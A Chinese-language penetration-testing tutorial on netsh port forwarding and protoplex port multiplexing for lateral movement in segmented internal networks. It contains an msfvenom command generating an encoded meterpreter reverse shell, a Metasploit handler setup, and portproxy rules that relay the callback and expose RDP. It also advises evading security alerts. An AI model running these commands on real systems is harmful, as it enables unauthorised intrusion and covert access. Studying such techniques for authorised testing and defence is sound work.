内网--端口转发以及端口复用
字数 1186 2025-08-12 11:34:00

内网渗透中的端口转发与端口复用技术详解

一、前言

在内网渗透测试中,经常会遇到网络隔离的情况,目标机器可能只开放特定端口或处于不同网段。本文详细介绍了如何利用端口转发和端口复用技术突破网络限制,实现内网横向移动。

二、基础场景分析

初始环境

  • 攻击者位于192网段
  • 目标机器位于172网段
  • 172网段机器只对192网段开放1433端口(MSSQL)
  • 拥有172网段机器的MSSQL账号(可执行命令和上传文件)

三、端口转发技术

1. 使用netsh进行端口转发

netsh(Network Shell)是Windows系统自带的强大网络配置工具,可用于端口转发。

场景1:目标机器可访问跳板机任意端口

  1. 使用msfvenom生成反向shell:
    msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=6767 -i 3 -f exe -o o.exe
    
  2. 在跳板机设置端口转发:
    netsh interface portproxy add v4tov4 listenport=6767 connectport=6767 connectaddress=192.168.49.129
    
  3. 在攻击机设置监听:
    use exploit/multi/handler
    set payload windows/x64/meterpreter/reverse_tcp
    set lhost 192.168.49.129
    set lport 6767
    
  4. 在目标机器执行木马,攻击机成功获取会话

场景2:目标机器只能访问跳板机特定端口

  • 限制条件:目标机器只能访问跳板机的80、445、1433、1521、3306、3389、6379、8080等端口中的一个或多个
  • 测试发现:
    • 80、445、1433、3389、6379等端口转发失败(可能与Windows自带服务冲突)
    • 3306和8080端口可正常转发

场景3:目标机器只能访问跳板机特定端口且跳板机不能访问目标机器

  1. 对于80端口:可通过上传Web shell(如Neo-reGeorg)建立连接
  2. 对于3306端口:
    netsh interface portproxy add v4tov4 listenport=3306 listenaddress=10.211.55.5 connectport=3389 connectaddress=10.211.55.5
    
    • 可读取密码或添加用户
    • 通过跳板机连接远程桌面(使用3306端口)

注意:某些端口(如IIS的80端口、MSSQL的1433端口)无法转发,而3306、8080等端口可转发,需根据实际情况测试。

四、端口复用技术

1. 使用protoplex工具

protoplex是一个协议复用工具,可根据协议类型将流量转发到不同端口。

基本命令格式:

protoplex_windows_amd64.exe --socks5 10.211.55.5:9999 --http 10.211.55.5:80 -b 10.211.55.5:4444
  • 监听4444端口
  • 如果是socks5协议流量,转发到9999端口
  • 如果是http流量,转发到80端口

限制

  • 监听端口不能被占用
  • 不能是3306、1433、3389等特殊端口
  • socks5测试效果不理想

五、技术要点总结

  1. netsh端口转发适用性

    • 适用于Windows系统
    • 对某些服务端口(80、1433等)可能无效
    • 3306、8080等端口转发效果较好
  2. 端口选择策略

    • 优先选择非常用端口
    • 测试多个端口以确定可用性
    • 注意系统服务占用情况
  3. 协议复用注意事项

    • 需要了解目标网络流量类型
    • 工具兼容性需测试
    • 可能受到防火墙规则限制
  4. 实际渗透中的建议

    • 多尝试不同端口和技术组合
    • 记录测试结果,建立可行方案库
    • 注意隐蔽性,避免触发安全警报

六、未解决问题

原文作者提到最终未能解决的问题:

  • 在严格限制环境下(如只能通过特定端口通信)的稳定连接方法
  • socks5协议复用的可靠性问题

这些问题的解决方案仍需进一步研究和实践验证。

内网渗透中的端口转发与端口复用技术详解 一、前言 在内网渗透测试中,经常会遇到网络隔离的情况,目标机器可能只开放特定端口或处于不同网段。本文详细介绍了如何利用端口转发和端口复用技术突破网络限制,实现内网横向移动。 二、基础场景分析 初始环境 攻击者位于192网段 目标机器位于172网段 172网段机器只对192网段开放1433端口(MSSQL) 拥有172网段机器的MSSQL账号(可执行命令和上传文件) 三、端口转发技术 1. 使用netsh进行端口转发 netsh(Network Shell)是Windows系统自带的强大网络配置工具,可用于端口转发。 场景1:目标机器可访问跳板机任意端口 使用msfvenom生成反向shell: 在跳板机设置端口转发: 在攻击机设置监听: 在目标机器执行木马,攻击机成功获取会话 场景2:目标机器只能访问跳板机特定端口 限制条件:目标机器只能访问跳板机的80、445、1433、1521、3306、3389、6379、8080等端口中的一个或多个 测试发现: 80、445、1433、3389、6379等端口转发失败(可能与Windows自带服务冲突) 3306和8080端口可正常转发 场景3:目标机器只能访问跳板机特定端口且跳板机不能访问目标机器 对于80端口:可通过上传Web shell(如Neo-reGeorg)建立连接 对于3306端口: 可读取密码或添加用户 通过跳板机连接远程桌面(使用3306端口) 注意 :某些端口(如IIS的80端口、MSSQL的1433端口)无法转发,而3306、8080等端口可转发,需根据实际情况测试。 四、端口复用技术 1. 使用protoplex工具 protoplex是一个协议复用工具,可根据协议类型将流量转发到不同端口。 基本命令格式: 监听4444端口 如果是socks5协议流量,转发到9999端口 如果是http流量,转发到80端口 限制 : 监听端口不能被占用 不能是3306、1433、3389等特殊端口 socks5测试效果不理想 五、技术要点总结 netsh端口转发适用性 : 适用于Windows系统 对某些服务端口(80、1433等)可能无效 3306、8080等端口转发效果较好 端口选择策略 : 优先选择非常用端口 测试多个端口以确定可用性 注意系统服务占用情况 协议复用注意事项 : 需要了解目标网络流量类型 工具兼容性需测试 可能受到防火墙规则限制 实际渗透中的建议 : 多尝试不同端口和技术组合 记录测试结果,建立可行方案库 注意隐蔽性,避免触发安全警报 六、未解决问题 原文作者提到最终未能解决的问题: 在严格限制环境下(如只能通过特定端口通信)的稳定连接方法 socks5协议复用的可靠性问题 这些问题的解决方案仍需进一步研究和实践验证。